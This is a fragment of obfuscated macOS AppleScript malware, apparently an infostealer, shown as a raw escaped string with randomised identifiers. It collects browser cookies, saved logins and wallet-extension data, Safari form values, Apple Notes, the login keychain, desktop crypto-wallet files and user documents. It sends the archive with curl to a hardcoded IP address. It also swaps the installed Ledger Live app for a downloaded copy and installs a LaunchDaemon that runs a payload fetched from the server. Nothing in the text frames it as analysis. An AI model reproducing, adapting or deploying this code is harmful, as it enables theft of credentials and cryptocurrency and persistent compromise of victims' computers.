\\\"ejjladinnckdgjemekebdpeokbikhfci\\\", \\\"kkpllkodjeloidieedojogacfhpaihoh\\\", \\\"apnehcjmnengpnmccpaibjmhhoadaico\\\", \\\"jiepnaheligkibgcjgjepjfppgbcghmp\\\", \\\"jojhfeoedkpkglbfimdfabpdfjaoolaf\\\", \\\"idpdilbfamoopcfofbipefhmmnflljfi\\\", \\\"lbjapbcmmceacocpimbpbidpgmlmoaao\\\", \\\"oiohdnannmknmdlddkdejbmplhbdcbee\\\", \\\"fldfpgipfncgndfolcbkdeeknbbbnhcc\\\", \\\"fpkhgmpbidmiogeglndfbkegfdlnajnf\\\", \\\"lgmpcpglpngdoalbgeoldeajfclnhafa\\\", \\\"ilhaljfiglknggcoegeknjghdgampffk\\\", \\\"pfccjkejcgoppjnllalolplgogenfojk\\\", \\\"cnmamaachppnkjgnildpdmkaakejnhae\\\", \\\"eajafomhmkipbjmfmhebemolkcicgfmd\\\", \\\"emeeapjkbcbpbpgaagfchmcgglmebnen\\\", \\\"ibnejdfjmmkpcnlpebklmnkoeoihofec\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\", \\\"ffnbelfdoeiohenkjibnmadjiehjhajb\\\", \\\"fnjhmkhhmkbjkkabndcnnogagogbneec\\\", \\\"bcopgchhojmggmffilplmbdicgaihlkp\\\", \\\"cmoakldedjfnjofgbbfenefcagmedlga\\\", \\\"ifckdpamphokdglkkdomedpdegcjhjdp\\\", \\\"ibljocddagjghmlpgihahamcghfggcjc\\\", \\\"cjmkndjhnagcfbpiemnkdpomccnjblmj\\\", \\\"kbdcddcmgoplfockflacnnefaehaiocb\\\", \\\"cgeeodpfagjceefieflmdfphplkenlfk\\\", \\\"afbcbjpbpfadlkmhmclhkeeodmamcflc\\\", \\\"fdchdcpieegfofnofhgdombfckhbcokj\\\", \\\"gjlmehlldlphhljhpnlddaodbjjcchai\\\", \\\"ellkdbaphhldpeajbepobaecooaoafpg\\\", \\\"ojbcfhjmpigfobfclfflafhblgemeidi\\\", \\\"ghlmndacnhlaekppcllcpcjjjomjkjpg\\\", \\\"kgdijkcfiglijhaglibaidbipiejjfdp\\\", \\\"abkahkcbhngaebpcgfmhkoioedceoigp\\\", \\\"ammjlinfekkoockogfhdkgcohjlbhmff\\\", \\\"pdliaogehgdbhbnmkklieghmmjkpigpa\\\", \\\"jnlgamecbpmbajjfhmmmlhejkemejdma\\\", \\\"nbdhibgjnjpnkajaghbffjbkcgljfgdi\\\", \\\"jfdlamikmbghhapbgfoogdffldioobgl\\\", \\\"fijngjgcjhjmmpcmkeiomlglpeiijkld\\\", \\\"hgbeiipamcgbdjhfflifkgehomnmglgk\\\", \\\"pmmnimefaichbcnbndcfpaagbepnjaig\\\", \\\"cflgahhmjlmnjbikhakapcfkpbcmllam\\\", \\\"keenhcnmdmjjhincpilijphpiohdppno\\\", \\\"bipdhagncpgaccgdbddmbpcabgjikfkn\\\", \\\"bcenedbpaaegpnijoadpdjiachahncdg\\\", \\\"pocmplpaccanhmnllbbkpgfliimjljgo\\\", \\\"klghhnkeealcohjjanjjdaeeggmfmlpl\\\", \\\"cjookpbkjnpkmknedggeecikaponcalb\\\", \\\"ojggmchlghnjlapmfbnjholfjkiidbch\\\", \\\"dngmlblcodfobpdpecaadgfbcggfjfnm\\\", \\\"jnldfbidonfeldmalbflbmlebbipcnle\\\", \\\"ehjiblpccbknkgimiflboggcffmpphhp\\\", \\\"agoakfejjabomempkjlepdflaleeobhb\\\", \\\"fopmedgnkfpebgllppeddmmochcookhc\\\", \\\"dmkamcknogkgcdfhhbddcghachkejeap\\\", \\\"iglbgmakmggfkoidiagnhknlndljlolb\\\", \\\"opfgelmcmbiajamepnmloijbpoleiama\\\", \\\"gkeelndblnomfmjnophbhfhcjbcnemka\\\", \\\"dgiehkgfknklegdhekgeabnhgfjhbajd\\\", \\\"gafhhkghbfjjkeiendhlofajokpaflmk\\\", \\\"imlcamfeniaidioeflifonfjeeppblda\\\", \\\"penjlddjkjgpnkllboccdgccekpkcbin\\\", \\\"nhnkbkgjikgcigadomkphalanndcapjk\\\", \\\"egjidjbpglichdcondbcbdnbeeppgdph\\\", \\\"dlcobpjiigpikoobohmabehhmhfoodbb\\\", \\\"dldjpboieedgcmpkchcjcbijingjcgok\\\", \\\"acmacodkjbdgmoleebolmdjonilkdbch\\\", \\\"lccbohhgfkdikahanoclbdmaolidjdfl\\\", \\\"pcndjhkinnkaohffealmlmhaepkpmgkb\\\", \\\"gjagmgiddbbciopjhllkdnddhcglnemk\\\", \\\"cnncmdhjacpkmjmkcafchppbnpnhdmon\\\", \\\"mfgccjchihfkkindfppnaooecgfneiii\\\", \\\"ieldiilncjhfkalnemgjbffmpomcaigi\\\", \\\"ckklhkaabbmdjkahiaaplikpdddkenic\\\", \\\"loinekcabhlmhjjbocijdoimmejangoa\\\", \\\"mgffkfbidihjpoaomajlbgchddlicgpn\\\", \\\"pnndplcbkakcplkjnolgbkdgjikjednm\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"bgpipimickeadkjlklgciifhnalhdjhe\\\", \\\"pdadjkfkgcafgbceimcpbkalnfnepbnk\\\", \\\"jiidiaalihmmhddjgbnbgdfflelocpak\\\", \\\"aeachknmefphepccionboohckonoeemg\\\", \\\"gdokollfhmnbfckbobkdbakhilldkhcj\\\", \\\"jiiigigdinhhgjflhljdkcelcjfmplnd\\\", \\\"kmphdnilpmdejikjdnlbcnmnabepfgkh\\\", \\\"jaooiolkmfcmloonphpiiogkfckgciom\\\", \\\"fcckkdbjnoikooededlapcalpionmalo\\\", \\\"mdnaglckomeedfbogeajfajofmfgpoae\\\", \\\"ebfidpplhabeedpnhjnobghokpiioolj\\\", \\\"dbgnhckhnppddckangcjbkjnlddbjkna\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"epapihdplajcdnnkdeiahlgigofloibg\\\", \\\"iokeahhehimjnekafflcihljlcjccdbe\\\", \\\"cihmoadaighcejopammfbmddcmdekcje\\\", \\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"kilnpioakcdndlodeeceffgjdpojajlo\\\", \\\"abogmiocnneedmmepnohnhlijcjpcifd\\\", \\\"bofddndhbegljegmpmnlbhcejofmjgbn\\\", \\\"aholpfdialjgjfhomihkjbmgjidlcdno\\\", \\\"hdkobeeifhdplocklknbnejdelgagbao\\\", \\\"oafedfoadhdjjcipmcbecikgokpaphjk\\\", \\\"bfnaelmomeimhlpmgjnjophhpkkoljpa\\\", \\\"nkbihfbeogaeaoehlefnkodbefgpgknn\\\", \\\"lfmmjkfllhmfmkcobchabopkcefjkoip\\\", \\\"aiifbnbfobpmeekipheeijimdpnlpgpp\\\", \\\"anokgmphncpekkhclmingpimjmcooifb\\\", \\\"mnfifefkajgofkcjkemidiaecocnkjeh\\\", \\\"momakdpclmaphlamgjcndbgfckjfpemp\\\", \\\"akkmagafhjjjjclaejjomkeccmjhdkpa\\\", \\\"ehgjhhccekdedpbkifaojjaefeohnoea\\\", \\\"mkpegjkblkkefacfnmkajcjmabijhclg\\\", \\\"mlhakagmgkmonhdonhkpjeebfphligng\\\", \\\"niiaamnmgebpeejeemoifgdndgeaekhe\\\", \\\"jnmbobjmhlngoefaiojfljckilhhlhcj\\\", \\\"onhogfjeacnfoofkfgppdlbmlmnplgbn\\\", \\\"kppfdiipphfccemcignhifpjkapfbihd\\\", \\\"hcjhpkgbmechpabifbggldplacolbkoh\\\", \\\"flpiciilemghbmfalicajoolhkkenfel\\\", \\\"mlbnicldlpdimbjdcncnklfempedeipj\\\", \\\"cfbfdhimifdmdehjmkdobpcjfefblkjm\\\", \\\"ocjobpilfplciaddcbafabcegbilnbnb\\\", \\\"pgiaagfkgcbnmiiolekcfmljdagdhlcm\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"bifidjkcdpgfnlbcjpdkdcnbiooooblg\\\", \\\"lnnnmfcpbkafcpgdilckhmhbkkbpkmid\\\", \\\"nlgbhdfgdhgbiamfdfmbikcdghidoadd\\\", \\\"fcfcfllfndlomdhbehjjcoimbgofdncg\\\", \\\"lpilbniiabackdjcionkobglmddfbcjo\\\", \\\"efbglgofoippbgcjepnhiblaibcnclgk\\\", \\\"fhbohimaelbohpjbbldcngcnapndodjp\\\", \\\"gkodhkbmiflnmkipcmlhhgadebbeijhh\\\", \\\"bocpokimicclpaiekenaeelehdjllofo\\\", \\\"bhhhlbepdkbapadjdnnojkbgioiodbic\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"mkchoaaiifodcflmbaphdgeidocajadp\\\", \\\"mapbhaebnddapnmifbbkgeedkeplgjmf\\\", \\\"lmkncnlpeipongihbffpljgehamdebgi\\\", \\\"gjnckgkfmgmibbkoficdidcljeaaaheg\\\", \\\"ppdadbejkmjnefldpcdjhnkpbjkikoip\\\", \\\"bopcbmipnjdcdfflfgjdgdjejmgpoaab\\\", \\\"kamfleanhcmjelnhaeljonilnmjpkcjc\\\", \\\"cphhlgmgameodnhkjdmkpanlelnlohao\\\", \\\"hnhobjmcibchnmglfbldbfabcgaknlkj\\\", \\\"nknhiehlklippafakaeklbeglecifhad\\\", \\\"kjjebdkfeagdoogagbhepmbimaphnfln\\\", \\\"phkbamefinggmakgklpkljjmgibohnba\\\", \\\"lakggbcodlaclcbbbepmkpdhbcomcgkd\\\", \\\"ookjlbkiijinhpmnjffcofjonbfbgaoc\\\", \\\"mdjmfdffdcmnoblignmgpommbefadffd\\\", \\\"jblndlipeogpafnldhgmapagcccfchpi\\\", \\\"hbbgbephgojikajhfbomhlmmollphcad\\\", \\\"dpcklmdombjcplafheapiblogdlgjjlb\\\", \\\"hmeobnfnfcmdkdcmlblgagmfpfboieaf\\\", \\\"kmhcihpebfmpgmihbkipmjlmmioameka\\\", \\\"kennjipeijpeengjlogfdjkiiadhbmjl\\\", \\\"amkmjjmmflddogmhpjloimipbofnfjih\\\", \\\"idnnbdplmphpflfnlkomgpfbpcgelopg\\\", \\\"fmblappgoiilbgafhjklehhfifbdocee\\\", \\\"heamnjbnflcikcggoiplibfommfbkjpj\\\", \\\"khpkpbbcccdmmclmpigdgddabeilkdpd\\\", \\\"omaabbefbmiijedngplfjmnooppbclkk\\\", \\\"nhlnehondigmgckngjomcpcefcdplmgc\\\", \\\"fiikommddbeccaoicoejoniammnalkfa\\\", \\\"ejbidfepgijlcgahbmbckmnaljagjoll\\\", \\\"glmhbknppefdmpemdmjnjlinpbclokhn\\\", \\\"kncchdigobghenbbaddojjnnaogfppfj\\\", \\\"hpclkefagolihohboafpheddmmgdffjm\\\", \\\"ilolmnhjbbggkmopnemiphomhaojndmb\\\", \\\"panpgppehdchfphcigocleabcmcgfoca\\\", \\\"nngceckbapebfimnlniiiahkandclblb\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"bfogiafebfohielmmehodmfbbebbbpei\\\", \\\"pnlccmojcmeohlpggmfnbbiapkmbliob\\\", \\\"aeblfdkhhhdcdjpifhhbdiojplfjncoa\\\", \\\"kmcfomidfpdkfieipokbalgegidffkal\\\", \\\"fdjamakpfbbddfjaooikfcpapjohcfmg\\\", \\\"ghmbeldphafepmbegfdlkpapadhbakde\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"admmjipmmciaobhojoghlmleefbicajg\\\", \\\"caljgklbbfbcjjanaijlacgncafpegll\\\", \\\"bdgmdoedahdcjmpmifafdhnffjinddgc\\\"}\" & return & \"set v8742602037954305398 to {\\\"hnfanknocfeofbddgcijnmhnfnkdnaad\\\", \\\"mcohilncbfahbmgdjkbpemcciiolgcge\\\", \\\"aflkmfhebedbjioipglgcbcmnbpgliof\\\", \\\"enabgbdfcbaehmbigakijjabdpdnimlg\\\", \\\"cpmkedoipcpimgecpmgpldfpohjplkpp\\\", \\\"hdokiejnpimakedhajhdlcegeplioahd\\\", \\\"eiaeiblijfjekdanodkjadfinkhbfgcd\\\", \\\"cnlhokffphohmfcddnibpohmkdfafdli\\\", \\\"khhapgacijodhjokkcjmleaempmchlem\\\", \\\"hifafgmccdpekplomjjkcfgodnhcellj\\\"}\" & return & \"set v1193781549428669497 to {\\\"/Network/Cookies\\\", \\\"/Cookies\\\", \\\"/Web Data\\\", \\\"/Login Data\\\", \\\"/Local Extension Settings/\\\", \\\"/IndexedDB/\\\"}\" & return & \"repeat with r6752091327858889504 in p6334719600918497600\" & return & \"set v2513835422850783512 to p4863990634495586282 & \\\"chromium/\\\" & item 1 of r6752091327858889504 & \\\"_\\\"\" & return & \"try\" & return & \"set v2694507030868519803 to list folder item 2 of r6752091327858889504 without invisibles\" & return & \"repeat with r3080019060869919598 in v2694507030868519803\" & return & \"if ((r3080019060869919598 as string) is equal to \\\"Default\\\") or ((r3080019060869919598 as string) contains \\\"Profile\\\") then\" & return & \"repeat with r3250349099168131866 in v1193781549428669497\" & return & \"set v1954333496690272467 to (item 2 of r6752091327858889504 & r3080019060869919598 & r3250349099168131866)\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Network/Cookies\\\") then\" & return & \"set r3250349099168131866 to \\\"/Cookies\\\"\" & return & \"end if\" & return & \"if ((r3250349099168131866 as string) is equal to \\\"/Local Extension Settings/\\\") then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v4405675767274189443, false)\" & return & \"else if (r3250349099168131866 as string) is equal to \\\"/IndexedDB/\\\" then\" & return & \"f5580828236190888392(v1954333496690272467, v2513835422850783512 & r3080019060869919598, v8742602037954305398, true)\" & return & \"else\" & return & \"set v6926349233833838297 to v2513835422850783512 & r3080019060869919598 & r3250349099168131866\" & return & \"f3260842499625414770(v1954333496690272467, v6926349233833838297)\" & return & \"end if\" & return & \"end repeat\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"end f1591517285159242142\" & return & \"on f1532446016022058365(p3881276098448230608)\" & return & \"try\" & return & \"set v2857667501174155446 to p3881276098448230608 & \\\"finder/\\\"\" & return & \"set v8281920971863355302 to POSIX file v2857667501174155446\" & return & \"set v4441088708029283771 to POSIX file (v2857667501174155446 & \\\"NotesMedia/\\\")\" & return & \"set v6158381901122815805 to {\\\"txt\\\", \\\"pdf\\\", \\\"docx\\\", \\\"wallet\\\", \\\"key\\\", \\\"keys\\\", \\\"doc\\\", \\\"jpeg\\\", \\\"png\\\", \\\"kdbx\\\", \\\"rtf\\\", \\\"jpg\\\"}\" & return & \"set v8469470304514680439 to 0\" & return & \"set v8650131140709316950 to 0\" & return & \"set v6672744883499636961 to do shell script \\\"system_profiler SPHardwareDataType \| awk \\\\\\\"/UUID/ { print \$3 }\\\\\\\"\\\"\" & return & \"f5498098200027630037(v8281920971863355302)\" & return & \"f5498098200027630037(v4441088708029283771)\" & return & \"tell application \\\"Finder\\\"\" & return & \"try\" & return & \"set v5664556149018466815 to (path to home folder as text) & \\\"Library:Cookies:\\\"\" & return & \"duplicate file (v5664556149018466815 & \\\"Cookies.binarycookies\\\") to folder v8281920971863355302 with replacing\" & return & \"set name of result to \\\"saf1\\\"\" & return & \"end try\" & return & \"set v5859511804315351637 to ((path to library folder from user domain as text) & \\\"Containers:com.apple.Safari:Data:Library:Cookies:\\\")\" & return & \"try\" & return & \"duplicate file \\\"Cookies.binarycookies\\\" of folder v5859511804315351637 to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"set v5695573350752543491 to (path to home folder as text) & \\\"Library:Group Containers:group.com.apple.notes:\\\"\" & return & \"try\" & return & \"set v4028253585474527214 to folder v5695573350752543491\" & return & \"set v3059343139743270365 to {\\\"NoteStore.sqlite\\\", \\\"NoteStore.sqlite-shm\\\", \\\"NoteStore.sqlite-wal\\\"}\" & return & \"repeat with r5970773334031856482 in v3059343139743270365\" & return & \"try\" & return & \"duplicate (file r5970773334031856482 of v4028253585474527214) to folder v8281920971863355302 with replacing\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"set v6670855804231182791 to (v5695573350752543491 & \\\"Accounts:\\\")\" & return & \"try\" & return & \"set v5519092049812466280 to folder v6670855804231182791\" & return & \"set v3264421481048971213 to every folder of v5519092049812466280\" & return & \"repeat with r4258096541253041116 in v3264421481048971213\" & return & \"set v1705315559787201198 to v6670855804231182791 & name of r4258096541253041116 & \\\":Media:\\\"\" & return & \"set v8602179077777075102 to every folder of (folder v1705315559787201198)\" & return & \"repeat with r6918584002998503489 in v8602179077777075102\" & return & \"set v2041994904574966794 to v1705315559787201198 & name of r6918584002998503489\" & return & \"set v4708919411825789932 to every folder of (folder v2041994904574966794)\" & return & \"repeat with r5412423611944794898 in v4708919411825789932\" & return & \"set v3110012799677078337 to every file of r5412423611944794898\" & return & \"repeat with r2422556479517081844 in v3110012799677078337\" & return & \"try\" & return & \"set v5797793165775939366 to size of r2422556479517081844 as text\" & return & \"set v8650131140709316950 to v8650131140709316950 + v5797793165775939366\" & return & \"if v8650131140709316950 < 12 * 1024 * 1024 then\" & return & \"duplicate r2422556479517081844 to v4441088708029283771 with replacing\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end try\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end repeat\" & return & \"end try\" & return & \"try\" & return & \"set v5664556149018466815 to (path to library folder from user domain as text) & \\\"Safari:\\\"\" & return & \"duplicate (file \\\"Form Values\\\" of folder v5664556149018466815) to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v1095958890041291631 to (path to library folder from user domain as text) & \\\"Keychains:\\\" & v6672744883499636961\" & return & \"duplicate folder v1095958890041291631 to v8281920971863355302 with replacing\" & return & \"end try\" & return & \"try\" & return & \"set v8119924508541357890 to every file of desktop\" & return & \"set v6040935122466836241 to every file of folder \\\"Documents\\\" of (path to home folder)\" & return & \"repeat with r5970773334031856482 in (v8119924508541357890 & v6040935122466836241)\" & return & \"set v6932649326940113769 to name extension of r5970773334031856482\" & return & \"if v6932649326940113769 is in v6158381901122815805 then\" & return & \"set v5797793165775939366 to size of r5970773334031856482\" & return & \"if (v8469470304514680439 + v5797793165775939366) < 10 * 1024 * 1024 then\" & return & \"try\" & return & \"duplicate r5970773334031856482 to folder v8281920971863355302 with replacing\" & return & \"set v8469470304514680439 to v8469470304514680439 + v5797793165775939366\" & return & \"end try\" & return & \"else\" & return & \"exit repeat\" & return & \"end if\" & return & \"end if\" & return & \"end repeat\" & return & \"end try\" & return & \"end tell\" & return & \"end try\" & return & \"end f1532446016022058365\" & return & \"on f8497057021342530935(p5900055593697774672, p8246563282623393106, p2010142394812967057, p5668794948295293669)\" & return & \"try\" & return & \"set v3255209542620155720 to (do shell script \\\"curl -X POST -H \\\\\\\"buildid: ba0069e5ee8f4f91ae69ccdb86b78076\\\\\\\" -H \\\\\\\"username: \\\" & p8246563282623393106 & \\\"\\\\\\\" -H \\\\\\\"repeat: \\\" & p5668794948295293669 & \\\"\\\\\\\" -H \\\\\\\"cid: \\\\\\\" --data-binary @/tmp/out.zip http://\\\" & p2010142394812967057 & \\\"/log\\\")\" & return & \"on error\" & return & \"if p5900055593697774672 < 10 then\" & return & \"delay 60\" & return & \"f8497057021342530935(p5900055593697774672 + 1, p8246563282623393106, p2010142394812967057)\" & return & \"end if\" & return & \"end try\" & return & \"end f8497057021342530935\" & return & \"on f7881539568187939281(p2485608757807931554)\" & return & \"try\" & return & \"set v7282284727864660204 to \\\"\\\"\" & return & \"set v4769200348931914948 to 0\" & return & \"tell application \\\"Notes\\\"\" & return & \"set v2532122926136842264 to {}\" & return & \"set v3660538997077474786 to every account\" & return & \"repeat with r6203686060571348040 in v3660538997077474786\" & return & \"try\" & return & \"set v6069917827788775140 to properties of every note in r6203686060571348040\" & return & \"set v4769200348931914948 to v4769200348931914948 + (length of v6069917827788775140)\" & return & \"repeat with r4231202708533315726 in v6069917827788775140\" & return & \"try\" & return & \"set v2473674755434718728 to (creation date of r4231202708533315726) & return & (body of r4231202708533315726)\" & return & \"copy v2473674755434718728 to end of v2532122926136842264\" & return & \"end try\" & return & \"end repeat\" & return & \"end try\" & return & \"end repeat\" & return & \"set v7282284727864660204 to v2532122926136842264 as text\" & return & \"end tell\" & return & \"if v4769200348931914948 > 0 then\" & return & \"set v7282284727864660204 to \\\"<h1>Notes Count: \\\" & (v4769200348931914948 as text) & \\\"</h1> <br><br><br> \\\" & v7282284727864660204\" & return & \"f6264705180628981705(v7282284727864660204, p2485608757807931554 & \\\"finder/notes.html\\\")\" & return & \"end if\" & return & \"end try\" & return & \"end f7881539568187939281\" & return & \"on f7738793407393166782(p7555612972716165088, p1320216238734915359, p4310207234123017821)\" & return & \"try\" & return & \"set v3970677117347150220 to \\\"/Applications/Ledger Live.app\\\"\" & return & \"list folder POSIX file v3970677117347150220\" & return & \"do shell script \\\"curl http://\\\" & p4310207234123017821 & \\\"/otherassets/ledger.zip -o /tmp/ledger.zip\\\"\" & return & \"try\" & return & \"do shell script \\\"pkill \\\" & quoted form of \\\"Ledger Live\\\"\" & return & \"end try\" & return & \"do shell script \\\"echo \\\" & quoted form of p1320216238734915359 & \\\" \| sudo -S rm -r \\\" & quoted form of v3970677117347150220\" & return & \"delay 0.01\" & return & \"do shell script \\\"unzip /tmp/ledger.zip -d /Applications\\\"\" & return & \"end try\" & return & \"end f7738793407393166782\" & return & \"on f7680579707267924922(p6319878029184497578, p8155257917916918513, p6151609391132453683)\" & return & \"try\" & return & \"set v3889753805557895190 to (random number from 10000 to 100000) as text\" & return & \"set v8451565999740633567 to \\\"com.\\\" & v3889753805557895190\" & return & \"set v5565569851091166079 to do shell script \\\"curl -s http://\\\" & p6151609391132453683 & \\\"/otherassets/plist\\\"\" & return & \"set v6729880044489636041 to \\\"<?xml version=\\\\\\\"1.0\\\\\\\" encoding=\\\\\\\"UTF-8\\\\\\\"?>\" & return & \"<!DOCTYPE plist PUBLIC \\\\\\\"-//Apple//DTD PLIST 1.0//EN\\\\\\\" \\\\\\\"http://www.apple.com/DTDs/PropertyList-1.0.dtd\\\\\\\">\" & return & \"<plist version=\\\\\\\"1.0\\\\\\\">\" & return & \"<dict>\" & return & \"<key>KeepAlive</key>\" & return & \"<true/>\" & return & \"<key>Label</key>\" & return & \"<string>\\\" & v8451565999740633567 & \\\"</string>\" & return & \"<key>ProgramArguments</key>\" & return & \"<array>\" & return & \"<string>/bin/bash</string>\" & return & \"<string>-c</string>\" & return & \" <string>\\\" & v5565569851091166079 & \\\"</string>\" & return & \"</array>\" & return & \"<key>UserName</key>\" & return & \" <string>\\\" & p6319878029184497578 & \\\"</string>\" & return & \"<key>RunAtLoad</key>\" & return & \"<true/>\" & return & \"<key>SessionCreate</key>\" & return & \"<true/>\" & return & \"</dict>\" & return & \"</plist>\\\"\" & return & \"f6264705180628981705(v6729880044489636041, \\\"/tmp/starter\\\")\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S cp /tmp/starter /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"try\" & return & \"do shell script \\\"echo \\\" & quoted form of p8155257917916918513 & \\\" \| sudo -S launchctl bootstrap system /Library/LaunchDaemons/\\\" & v8451565999740633567 & \\\".plist\\\"\" & return & \"on error\" & return & \"do shell script \\\"nohup \\\" & v5565569851091166079 & \\\" >/dev/null 2>&1 &\\\"\" & return & \"end try\" & return & \"end try\" & return & \"end f7680579707267924922\" & return & \"on f7067467169335976972()\" & return & \"set v3611835577903818869 to (system attribute \\\"USER\\\")\" & return & \"set v5329093948850621050 to \\\"boss\\\"\" & return & \"set v6176627993449405708 to \\\"185.93.89.62\\\"\" & return & \"set v6007572078735828114 to \\\"\$ISBOT\$\\\"\" & return & \"set v5876564239486588955 to \\\"/Users/\\\" & v3611835577903818869\" & return & \"f6264705180628981705(v5329093948850621050, v5876564239486588955 & \\\"/.username\\\")\" & return & \"f6264705180628981705(v6176627993449405708, v5876564239486588955 & \\\"/.chost\\\")\" & return & \"set v8258978919954172053 to (random number from 10000 to 100000) as text\" & return & \"set v2545565665707699343 to \\\"/tmp/\\\" & v8258978919954172053 & \\\"/\\\"\" & return & \"try\" & return & \"set v5048646198888777399 to (do shell script \\\"system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType\\\")\" & return & \"f6264705180628981705(v5048646198888777399, v2545565665707699343 & \\\"hardware\\\")\" & return & \"end try\" & return & \"set v8210301408553245953 to v5876564239486588955 & \\\"/Library/\\\"\" & return & \"set v4968262434143532926 to v8210301408553245953 & \\\"Application Support/\\\"\" & return & \"set v2439337587433223164 to f8771517014503093342(v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"if not f5789441686885361081(v3611835577903818869, v2439337587433223164) then\" & return & \"set v2439337587433223164 to f4455047023799241882(v3611835577903818869, v2545565665707699343)\" & return & \"f6264705180628981705(v2439337587433223164, v5876564239486588955 & \\\"/.pwd\\\")\" & return & \"end if\" & return & \"delay 0.01\" & return & \"f6264705180628981705(v2439337587433223164, v2545565665707699343 & \\\"pwd\\\")\" & return & \"set v7777708969300503610 to v8210301408553245953 & \\\"Group Containers/group.com.apple.notes/NoteStore.sqlite\\\"\" & return & \"f3260842499625414770(v7777708969300503610, v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-wal\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-wal\\\")\" & return & \"f3260842499625414770(v7777708969300503610 & \\\"-shm\\\", v2545565665707699343 & \\\"finder/NoteStore.sqlite-shm\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Containers/com.apple.Safari/Data/Library/Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/Cookies.binarycookies\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Cookies/Cookies.binarycookies\\\", v2545565665707699343 & \\\"finder/saf1\\\")\" & return & \"f1532446016022058365(v2545565665707699343)\" & return & \"try\" & return & \"if f8771517014503093342(v2545565665707699343 & \\\"finder/NoteStore.sqlite\\\") is equal to \\\"\\\" then\" & return & \"f7881539568187939281(v2545565665707699343)\" & return & \"end if\" & return & \"end try\" & return & \"set v5516568614182406442 to {{\\\"Chrome\\\", v4968262434143532926 & \\\"Google/Chrome/\\\"}, {\\\"Brave\\\", v4968262434143532926 & \\\"BraveSoftware/Brave-Browser/\\\"}, {\\\"Edge\\\", v4968262434143532926 & \\\"Microsoft Edge/\\\"}, {\\\"Vivaldi\\\", v4968262434143532926 & \\\"Vivaldi/\\\"}, {\\\"Opera\\\", v4968262434143532926 & \\\"com.operasoftware.Opera/\\\"}, {\\\"OperaGX\\\", v4968262434143532926 & \\\"com.operasoftware.OperaGX/\\\"}, {\\\"Chrome Beta\\\", v4968262434143532926 & \\\"Google/Chrome Beta/\\\"}, {\\\"Chrome Canary\\\", v4968262434143532926 & \\\"Google/Chrome Canary\\\"}, {\\\"Chromium\\\", v4968262434143532926 & \\\"Chromium/\\\"}, {\\\"Chrome Dev\\\", v4968262434143532926 & \\\"Google/Chrome Dev/\\\"}}\" & return & \"set v8490134006172949951 to {{\\\"Electrum\\\", v5876564239486588955 & \\\"/.electrum/wallets/\\\"}, {\\\"Coinomi\\\", v4968262434143532926 & \\\"Coinomi/wallets/\\\"}, {\\\"Exodus\\\", v4968262434143532926 & \\\"Exodus/\\\"}, {\\\"Atomic\\\", v4968262434143532926 & \\\"atomic/Local Storage/leveldb/\\\"}, {\\\"Wasabi\\\", v5876564239486588955 & \\\"/.walletwasabi/client/Wallets/\\\"}, {\\\"Ledger_Live\\\", v4968262434143532926 & \\\"Ledger Live/\\\"}, {\\\"Monero\\\", v5876564239486588955 & \\\"/Monero/wallets/\\\"}, {\\\"Bitcoin_Core\\\", v4968262434143532926 & \\\"Bitcoin/wallets/\\\"}, {\\\"Litecoin_Core\\\", v4968262434143532926 & \\\"Litecoin/wallets/\\\"}, {\\\"Dash_Core\\\", v4968262434143532926 & \\\"DashCore/wallets/\\\"}, {\\\"Electrum_LTC\\\", v5876564239486588955 & \\\"/.electrum-ltc/wallets/\\\"}, {\\\"Electron_Cash\\\", v5876564239486588955 & \\\"/.electron-cash/wallets/\\\"}, {\\\"Guarda\\\", v4968262434143532926 & \\\"Guarda/\\\"}, {\\\"Dogecoin_Core\\\", v4968262434143532926 & \\\"Dogecoin/wallets/\\\"}, {\\\"Trezor_Suite\\\", v4968262434143532926 & \\\"@trezor/suite-desktop/\\\"}}\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"Binance/app-store.json\\\", v2545565665707699343 & \\\"deskwallets/Binance/app-store.json\\\")\" & return & \"f3260842499625414770(v4968262434143532926 & \\\"@tonkeeper/desktop/config.json\\\", \\\"deskwallets/TonKeeper/config.json\\\")\" & return & \"f3260842499625414770(v8210301408553245953 & \\\"Keychains/login.keychain-db\\\", v2545565665707699343 & \\\"kc\\\")\" & return & \"f6264705180628981705(v3611835577903818869, v2545565665707699343 & \\\"user\\\")\" & return & \"set v7965558497206143252 to {{\\\"Firefox\\\", v4968262434143532926 & \\\"Firefox/Profiles/\\\"}, {\\\"Waterfox\\\", v4968262434143532926 & \\\"Waterfox/Profiles/\\\"}}\" & return & \"repeat with r8845574607081690012 in v7965558497206143252\" & return & \"try\" & return & \"f2536643714453681639(item 1 of r8845574607081690012, item 2 of r8845574607081690012, v2545565665707699343)\" & return & \"end try\" & return & \"end repeat\" & return & \"repeat with r7976650121018849761 in v8490134006172949951\" & return & \"f8031310448975060865(item 2 of r7976650121018849761, v2545565665707699343 & 